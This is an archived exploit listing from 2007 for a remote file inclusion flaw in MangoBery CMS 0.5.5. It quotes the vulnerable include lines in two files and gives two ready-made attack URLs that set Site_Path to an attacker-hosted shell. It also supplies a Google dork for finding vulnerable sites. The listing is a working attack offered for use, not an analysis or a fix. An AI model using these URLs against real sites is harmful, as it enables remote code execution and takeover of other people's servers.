MangoBery CMS 0.5.5 (quotes.php) Remote File Inclusion Vulnerability

2007-03-28T00:00:00
ID 1337DAY-ID-1664
Type zdt
Reporter kezzap66345
Modified 2007-03-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================================================
MangoBery CMS 0.5.5 (quotes.php) Remote File Inclusion Vulnerability
====================================================================




Mangobery-0.5.5

*****************
Found by kezzap66345 *
*****************
Script Page:http://mangobery.sourceforge.net/
*****************
Script
Download:http://sourceforge.net/project/showfiles.php?group_id=63834&package_id=60858

*****************
Dork:http://www.google.com.tr/search?hl=tr&q=%22MangoBery+1.0+Alpha%22&meta=

*****************
ERROR#1:
File:boxes/quotes.php
*****************


<? include($Site_Path . 'tquotes/tq_getquote.inc') ?>     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/boxes/quotes.php?Site_Path=[SHELL]


**************************************************************************************

*****************
ERROR#2:
File:templates/mangobery/footer.sample.php
*****************


include($Site_Path . "includes/column_right.php");     <<< rfi coded


**************************************************************************************
RFI#2:

http://SITE.com/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL]


**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK************************************************************



#  0day.today [2018-04-03]  #